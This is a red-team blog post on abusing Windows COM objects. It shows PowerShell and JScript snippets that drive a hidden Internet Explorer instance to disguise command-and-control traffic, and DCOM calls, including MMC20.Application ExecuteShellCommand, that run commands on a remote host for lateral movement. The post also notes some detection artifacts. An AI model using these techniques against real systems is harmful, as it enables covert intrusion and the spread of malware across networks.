COM Object P.3: C&C and Lateral Movements

In the previous blog posts, we looked at how attackers and red teamers can abuse COM Objects to bypass whitelisting, file signatures, and craft their Fileless attack. If you haven’t seen the previous posts, here they are:

Today, we will talk about how we can use COM Objects to hide your C&C communication and to make it look like legitimate browsing. Also, we will cover lateral movement and how we can COM Objects to execute commands on other systems in the same network (Using Microsoft RPC protocol, port 135).

COM Objects for Command & Control

COM objects are not only useful through these Scriptlets, but also the existing COM objects are extremely useful in gathering information, executing code, or even communicating with the attacker C&C.

One of these useful COM Objects is InternetExplorer.Application. This COM object allows you to start an Internet Explorer process (iexplore.exe) and control this browser to go to navigate to a specific page and download its content.

This COM object gives you far greater control as it allows you to fill forms and submit which is pretty useful in sending back some info to the attacker.

This COM object is accessible through any programming or scripting language (if the Sandbox allows it to. So, VBA Macros might not). Here is an example of how to use it through Powershell:

code

$net = New-object -com "InternetExplorer.Application"
$net.navigate2("https://maltrak.com")
Start-Sleep -s 3
$this_document = $net.document
$this_document.IHTMLDocument2_body.innerHTML

With these few lines of code, you can start an iexplore.exe process, make it navigate to your website, and download the page you want to download.

While debugging your code, you can set the browser to be visible like this:

$net.visible = $true

The benefit of this technique is that the iexplore.exe process is not created as a child process to powershell.exe (or your malware process) but a child process to svchost.exe. So, it’s very difficult to trace it back to your own malware.

This COM Object basically creates 2 processes (from svchost.exe):

1. ielowutil.exe -CLSID:{0002DF01–0000–0000-C000–000000000046}

2. IEXPLORE.EXE -Embedding

And Iexplore.exe creates another instance of itself for each COM Object created from “InternetExplorer.Application” that looks like this:

IEXPLORE.EXE SCODEF:24036 CREDAT:9478 /prefetch:2

These command-line arguments are mainly used for COM Objects which is a good tip for detections. But the good thing is, it’s very difficult to know which process exactly that created this object.

Many browsers do provide functionality for automation and control (maybe that’s why you see CAPTCHA everywhere on the internet) including chrome.exe, Edge, and others. The argument -Embedding is commonly used to represent the controlled process.

Lastly, the controlled processes don’t use the user cookies, saved passwords, history, or bookmarks. They are using the “guest” profile and have very limited access to the user settings and data.

For Javascript implementation of this COM Object, here it’s:

code

net = new ActiveXObject("InternetExplorer.Application");
net.Navigate2("https://maltrak.com");
net.visible = true;
while (net.busy) WScript.Sleep(100);
var doc = net.Document;
var body = doc.innerHTML;

As you see, it looks very similar to the Powershell script. And as well, it can work from inside a COM Scriptlet (.SCT File).

Distributed COM Objects for Lateral Movements:

COM Objects can be used locally as we saw until now and as well, they can be used remotely using what’s called DCOM or Distributed Component Object Model.

DCOM replies on the RPC Protocol (port 135) and it allows the attacker or the applications to create COM Objects on a remote system and execute its functionality.

DCOM is enabled by default as you can see in the screenshot below (Y means Yes and N means NO)

COM Object P.3: C&C and Lateral Movements

EnableDCOM Setting in the Registry Editor

You can change the settings from here:

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\EnableDCOM

Executing DCOM Objects is not very different from what you got used to do in PowerShell or javascript to create a COM object. All you need to do is to provide an optional parameter for the server IP that you want your COM object to start into.

net = new ActiveXObject(“InternetExplorer.Application”,”192.168.1.14");

For Powershell, it gets a bit more complicated. The code for PowerShell looks like this:

$net = [activator]::CreateInstance([type]::GetTypeFromProgID(“InternetExplorer.Application”,”192.168.1.14"))

This technique can be used to download & execute malware in other systems in the network. As well, you can use it to just disguise the network communication to the C&C by using InternetExplorer in a remote system to communicate with the attacker (if your malware is willing to wait for Internet Explorer to load).

One of the ways to execute a command on the remote system is by using “MMC20.Application” Object (First published by Matt Nelson of SpecterOps here) like this:

$mmc = [activator]::CreateInstance([type]::GetTypeFromProgID(“MMC20.Application”,”192.168.1.14"))

$mmc.Document.ActiveView.ExecuteShellCommand(“cmd.exe”,$null,”/c calc.exe”,”7")

This technique requires an elevation of privileges.

There are way more techniques to include. Cybereason has documented many of them. I will leave you with this source here

Conclusion

COM Objects are the swiss army knife for any attacker or red teamer today. They are built with no security in mind and led to lots of opportunities to abuse them to bypass defenses, escalate privileges and move laterally inside the organization.

If you are a red teamer, learning how to abuse COM objects will get you far ahead in bypassing defenses and detections. And if you are a blue teamer, protecting your organization against such types of attacks should be one of your top priorities and would definitely elevate your organization’s security posture.

In-Depth Comprehensive Red Team Training:

If you want to dive in-depth into this topic and other advanced attacks techniques, check out our training:

“Advanced Red Teaming: Weaponization & Adversary Simulation”

This is a live instructor-led training that focuses on developing cyber weapons that can evade AV detection, EDR logs, and forensics traces like how advanced targeted attacks do, and provide you with insights on how to improve your organization’s overall detections and security posture. Check it out from here: https://maltrak.com/redteam

References:

Originally published on Medium.